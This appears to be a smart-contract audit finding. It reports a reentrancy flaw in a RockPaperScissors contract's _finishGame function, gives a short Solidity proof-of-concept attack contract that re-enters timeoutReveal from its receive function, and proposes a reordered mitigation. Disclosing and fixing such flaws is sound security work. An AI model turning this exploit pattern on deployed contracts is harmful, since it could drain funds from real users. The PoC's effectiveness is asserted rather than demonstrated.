Description: The contract uses call
inside the RockPaperScissors::_finishGame
for ETH transfers without implementing the Checks-Effects-Interactions pattern, making it vulnerable to reentrancy attacks.
Impact: An attacker could potentially re-enter the contract and drain funds by repeatedly calling the vulnerable functions before state changes are applied.
Proof of Concept:
contract ReentrancyExploit {
RockPaperScissors public game;
uint256 public gameId;
constructor(RockPaperScissors _game) {
game = _game;
}
function attack() external payable {
gameId = game.createGameWithEth{value: msg.value}(3, 5 minutes);
game.joinGameWithEth{value: msg.value}(gameId);
}
receive() external payable {
if (address(game).balance >= msg.value) {
game.timeoutReveal(gameId);
}
}
}
Recommended Mitigation:
function _finishGame(uint256 _gameId, address _winner) internal {
Game storage game = games[_gameId];
game.state = GameState.Finished;
uint256 prize = 0;
uint256 fee = 0;
if (game.bet > 0) {
uint256 totalPot = game.bet * 2;
fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
prize = totalPot - fee;
accumulatedFees += fee;
emit FeeCollected(_gameId, fee);
}
if (game.bet == 0) {
winningToken.mint(_winner, 2);
} else {
winningToken.mint(_winner, 1);
}
if (prize > 0) {
(bool success,) = _winner.call{value: prize}("");
require(success, "Transfer failed");
}
emit GameFinished(_gameId, _winner, prize);
}